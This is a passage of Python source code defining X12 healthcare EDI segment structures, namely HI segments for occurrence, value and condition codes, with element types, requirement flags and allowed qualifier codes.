data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Value Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Condition Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, 